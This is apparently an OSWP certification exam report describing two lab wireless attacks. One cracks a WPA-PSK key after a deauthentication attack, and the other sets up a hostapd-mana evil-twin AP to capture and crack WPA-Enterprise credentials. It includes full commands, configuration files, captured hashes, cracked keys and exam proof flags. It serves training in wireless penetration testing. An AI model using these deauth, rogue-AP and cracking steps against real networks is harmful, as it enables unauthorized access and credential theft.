

OFFENSIVE SECURITY

OSWP Exam Documentation

v.2.0

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1.0 Access Point 1: WPA-PSK (Severnaya)

While monitoring the wifi activity in the area, I discovered an Access Point called SWCC. After finding out the SWCC AP was using WPA-PSK, I exploited it intercepting some data containing the handshake – forced by deauthenticating a client. Once intercepted, I used airckrack-ng with a default kali password list to retrieve the key.

As final step, I logged in the wifi using the key found and retrieved *proof.txt*.

1.1 Proof

AP key: 999999999

Proof.txt: 73d8e398a11bb00a628018244321aaff

1.2 Screenshots

```
Aircrack-ng 1.6

[00:00:02] 3303/3559 keys tested (2143.10 k/s)

Time left: 0 seconds 92.81%

KEY FOUND! [ 999999999 ]

Master Key : 8A F1 58 E0 AF 9F 90 49 25 E7 D8 9F 76 D6 61 2F

DF 06 48 DE 95 5A BE 71 2B 9C EB 3F AD 1F E5 14

Transient Key : 28 64 C4 05 FE 5D 98 BF EC A2 ED 61 5B 73 1B 06

DB 2B 56 6B 58 4F 9C D2 46 1D B0 F7 30 0E D9 3B

23 60 8B 19 80 99 34 8C 0C 77 E9 7B F6 F8 CF 57

A3 DF 68 EE E8 55 4A D7 58 0E 14 92 4B 57 91 39

EAPOL HMAC : 70 C9 31 E7 D3 3F A2 CF CD 15 CB 14 87 DF 4A A1
```

Figure 1: Airckrack-ng finding the wireless key.



Figure 2: Proof of the flag retrieved after connecting to the AP.

1.2 Steps

After deploying and connecting to the remote machine (severnaya) through SSH, I set the WLAN0 interface to monitor mode using the following command:

sudo airmon-ng start wlan0

Figure 3: Set the interface to monitor mode.

This command creates a *wlan0mon* interface in monitor mode, ready to scan the area. As next step, I started scanning the nearby Wifi networks using airodump-ng like follows:

sudo airodump-ng wlan0mon

The output of the above command is shown in the picture below:



BSSID	PWR RXQ Beacons	#Data, #/s CH ME	B ENC CIPHER AUTH ESSID			
02:13:37:BE:EF:03	-28 0 620	29 0 8 54	WPA2 CCMP PSK SWCC			
BSSID	STATION	PWR Rate Lost	Frames Notes Probes			
02:13:37:BE:EF:03	AA:C3:B6:0E:54:57	-29 12 - 1 0	14 EAPOL			
02:13:37:BE:EF:03 Quitting	16:09:E8:C5:89:3D	-29 36 - 1 82	139			
(kali⊕ severnaya)-[~] _\$ ■						

Figure 4: Output of airodump-ng.

From the output I noticed a network called SWCC using WPA-PSK. To get more details and to try and find the password, I performed a deauthentication attack against a client that was connected to the AP while saving the captured data to a file (wpa-01.cap) using the code below:

aireplay-ng -0 1 -a 02:13:37:BE:EF:03 -c D6:D5:6A:2B:2F:8E wlan0mon

While running the data dump command specifying the network I was interested in:

airodump-ng -c 8 -w wpa -essid SWCC -bssid 02:13:37:BE:EF:03 wlan0mon

This way, I have been able to save some useful data (containing the handshake) to then try and crack it locally. The process is shown in the following picture:




Figure 5: Deauthentication attack against a client to get the handshake in the data dump.



Once captured, I tried to crack the key using aircrack-ng using the command below:

sudo aircrack-ng -w /usr/share/john/password.lst -e SWCC -b 02:13:37:BE:EF:03 wpa-01.cap

And the script successfully found the key:

```
Aircrack-ng 1.6
  [00:00:02] 3303/3559 keys tested (2143.10 k/s)
  Time left: 0 seconds
                                                            92.81%
                       KEY FOUND! [ 999999999 ]
  Master Key
                 : 8A F1 58 E0 AF 9F 90 49 25 E7 D8 9F 76 D6 61 2F
                   DF 06 48 DE 95 5A BE 71 2B 9C EB 3F AD 1F E5 14
  Transient Key
                 : 28 64 C4 05 FE 5D 98 BF EC A2 ED 61 5B 73 1B 06
                   DB 2B 56 6B 58 4F 9C D2 46 1D B0 F7 30 0E D9 3B
                   23 60 8B 19 80 99 34 8C 0C 77 E9 7B F6 F8 CF 57
                   A3 DF 68 EE E8 55 4A D7 58 ØE 14 92 4B 57 91 39
  EAPOL HMAC
                 : 70 C9 31 E7 D3 3F A2 CF CD 15 CB 14 87 DF 4A A1
(kali⊛severnaya)-[~]
```

Figure 6: Aircrack-ng finding the key "99999999".

Once the key was found, I configured a wifi.conf file containing the configuration to use to connect to the network using wpa_supplicant:



```
(kali® severnaya)-[~]
$ cat wifi.conf
network={
   ssid="SWCC"
   scan_ssid=1
   psk="99999999"
   key_mgmt=WPA-PSK
}
```

Figure 7: wpa_supplicant configuration used.

After stopping the monitor mode on the interface, running wpa_supplicant and dhclient, I have successfully connected to the wifi and retrieved the hash:

```
# sudo airmon-ng stop wlan0mon
# sudo wpa_supplicant -c wifi.conf -I wlan0 -B
# sudo dhclient wlan0
# curl http://192.168.1.1/proof.txt
```

Figure 8: Final steps to retrieve the hash.



2.0 Access Point 2: WPA-EAP (bagend)

While monitoring the wifi activity in the area, I discovered an Access Point called Bilbos. After further enumeration I discovered that Access Point was transmitting on channel 10 and using WPA2 with MGT, signs of a probable WPA-Enterprise. I proceeded to collect information by utilizing the deauthentication attack – like I did against Access Point 1 – to then study the packages and certificates dumped using Wireshark. After that, I created a fake AP really similar to the AP found before using *freeradious* and *hostapd-mana*. I waited for someone to connect to my AP, capture the credentials and crack them locally. Once captured, I used *asleep* to retrieve the key and used it to log into the network and dump the *proof.txt*.

2.1 Proof

AP key: marielle

Proof.txt: 552dcc0e40ef6535736636a3f26bf4d3

2.2 Screenshots

```
(kali® bagend)-[~/Certs]
$ asleap -C 6c:02:88:06:6a:4a:6a:cf -R 71:28:44:0f:99:63:e1:4a:7d:d1:e7:8f:ca:8b:df:f8:b8:ce:e5:4d:40:1e:36:39 -W /usr/share/john/password.lst
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "/usr/share/john/password.lst".

hash bytes: 1ec1
NT hash: 169:8b5d7f35aee5efbab3e01b5e1ec1
password: marielle
```

Figure 9: asleep finding the password to the network.

Figure 10: Retrieving the final Proof.txt.



2.3 Steps

NOTE: since the first part of the attack is the same as the one described above, I will quickly run through it to the focus on the different and more important part.

After deploying and connecting to the remote machine (*bagend*) through SSH, I noticed a WPA-Enterprise network called Bilbos. In order to get some details about the network, I run a deauthentication attack against a client connected to the AP while intercepting the data (with the handshake) and saving it to a local file (see attack against the WPA-PSK above to check details).

After the attack, I had some different data files to analyze, as shown in the picture below:

```
CH 10 ][ Elapsed: 24 s ][ 2023-02-03 12:39 ][ WPA handshake: 02:13:37:BE:EF:03
BSSID
                  PWR RXQ Beacons
                                    #Data, #/s CH
                                                   MB
                                                        ENC CIPHER AUTH ESSID
02:13:37:BE:EF:03
                 -28
                              267
                                       66
                                            1 10
                                                        WPA2 CCMP
                                                                   MGT Bilbos
BSSID
                  STATION
                                   PWR
                                        Rate
                                                Lost
                                                       Frames Notes Probes
02:13:37:BE:EF:03 | 6E:17:44:06:A5:74
                                   -29
                                                   0
                                                           29
                                                              PMKID
0
                                                              PMKID
                                                           28
                                                           8
                                        18 - 1
                                                   0
                                                           11
Quitting ...
  –(kali⊛ bagend)-[~]
notes wpa-01.cap wpa-01.csv wpa-01.kismet.csv wpa-01.kismet.netxml wpa-01.log.csv
  (kali⊛bagend)-[~]
```

Figure 11: airodump-ng showing Bilbos AP and list of the files dumped.



I then connected to the remote machine (bagend) usiong freerdp using the command below:

freerdp -u kali 192.168.55.25

My aim was to analyze the captured packets using Wireshark, to see more information about the AP:




Figure 12: Wireshark analysis on the captured packages.

Apart from the other information like type of authentication method (EAP-PEAP) and encryption protocols (CCMP or/and TKIP), I filtered out information about the certificates using the following filter – as shown in Figure 12:

wlan.bssid==02:13:37:BE:EF:03 && eap && tls.handshake.certificate



I then saved the two certificates (in .der extension) right-clicking on each of them and selecting Export Packet Bytes to then check their information using the following command:

openssl x509 -inform der -in ca.der -text

After that, I started configuring the my AP: freeradius was already installed on the system, so I proceeded working on its settings, modifying /etc/freeradius/3.0/certs/ca.cnf (under [certificate_authority]) and /etc/freeradius/3.0/certs/server.cnf (under [server]) like follows:

```
countryName = US
stateOrProvinceName = Radius
localityName = Somewhere
organizationName = Bilbos Inc.
emailAddress = admin@bilbos.org
commonName = "Bilbos Certificate Authority"
```

Figure 13: ca.cnf and server.cnf settings modified.

Once done, I proceeded building the certificates, regenerating the *dh* and running the following commands as root:

cd /etc/freeradius/3.0/certs/
rm dh

make

Figure 14: certificate creation process.



I was able to correctly create the CA certificate, the server certificate and the Diffie-Hellman parameters.

Once done, I started working on the httpd-mana configuration, creating the hostapd-mana.conf file and modifying the *ssid* field to match the AP essid and the certificates fields to match the certificates we just created:

```
# SSID of the AP
ssid=Bilbos
# Network interface to use and driver type
# We must ensure the interface lists 'AP' in 'Supported interface
interface=wlan0
driver=nl80211

# Channel and mode
# Make sure the channel is allowed with 'iw phy PHYX info' ('Fre
channel=1
# Refer to https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf
hw_mode=g

# Setting up hostapd as an EAP server
ieee8021x=1
eap_server=1

# Key workaround for Win XP
eapol_key_index_workaround=0
```

Figure 15: initial part of the httpd-mana.conf file.

```
# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user

# Certificate paths created earlier
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
# The password is actually 'whatever'
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
```

Figure 16: certificates part of hostapd-mana.conf



As one of the final configuration steps, I created the /etc/hostapd-mana/mana.eap_user file containing the following:

```
File Actions Edit View Help

* PEAP,TTLS,TLS,FAST

"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "pass" [2]
```

Figure 17: mana.eap_user configuration file.

At this point, I started running *hostapd-mana* with the configuration just created and after a while, I've intercepted a victim attempt to authenticate:

```
— (kali® bagend)-[~/Certs]

$ sudo hostapd-mana ./hostapd-mana.conf
Configuration file: ./hostapd-mana.conf
MANA: Captured credentials will be written to file '/tmp/hostapd.credout'.
rfkill: Cannot open RFKILL control device
Using interface wlan0 with hwaddr 42:00:00:00:00:00 and ssid "Bilbos"
wlan0: interface state UNINITIALIZED→ENABLED
wlan0: AP-ENABLED
wlan0: STA 92:ed:7d:03:89:55 IEEE 802.11: authenticated
wlan0: STA 92:ed:7d:03:89:55 IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED 92:ed:7d:03:89:55
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Bilbos\gamgee
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Bilbos\gamgee
MANA EAP Identity Phase 1: Bilbos\gamgee
MANA EAP EAP-MSCHAPV2 ASLEAP user-gamgee | asleap -C 17:c8:6e:df:4c:12:1c:30 -R 2b:20:6b:03:08:b1:ec:75:2d:33:f3:5e:15:85:02:2b:39:e8:ae:70:86:4f:81:db
MANA EAP EAP-MSCHAPV2 TR | gamgee: $NETNTLM$17:c86edf4c121c205$2b206b0308b1ec752d33f35e1585022b39e8ae70864f81db::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | gamgee:::::2b206b0308b1ec752d33f35e1585022b39e8ae70864f81db::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | gamgee::::2b206b0308b1ec752d33f35e1585022b39e8ae70864f81db::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | gamgee:::2b206b0308b1ec752d33f35e1585022b39e8ae70864f81db::::::
```

Figure 18: hostapd-mana running and showing an authentication attempt.

From the picture above, we can see a user *gamgee* attempting to connect. Hostapd-mana gives us the command to run to crack the key, so I just copied it and run it specifying my interface and password list:

```
(kali® bagend)-[~/Certs]
$ asleap -C 6c:02:8b:06:6a:4a:6a:cf -R 71:28:44:0f:99:63:e1:4a:7d:d1:e7:8f:ca:8b:df:f8:b8:ce:e5:4d:40:1e:36:39 -W /usr/share/john/password.lst
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "/usr/share/john/password.lst".
    hash bytes: 1ec1
    NT hash: 169c8b5d7f35aee5efbab3e01b5e1ec1
    password: marielle
```

Figure 19: asleep cracking the network key "marielle".



I finally retrieved the key to access the network. Next step I've took was to create a configuration file to use with *wpa_supplicant* to connect to the network and retrieve the final *proof.txt*. To do so, I used the following configuration in wifi-client.conf:

Figure 20: wifi-client.conf configuration file.

I then run wpa_supplicant using the configuration just created and, after successfully connecting to the network and used dhcpclient to get an IP, I retrieved the proof.txt.

I've performed the actions explained above using the following commands:

sudo wpa_supplicant -i wlan0 -c wifi-client.conf -B # sudo dhclient wlan0

#curl http://192.168.1.1/proof.txt

Figure 21: final proof.txt retrieved.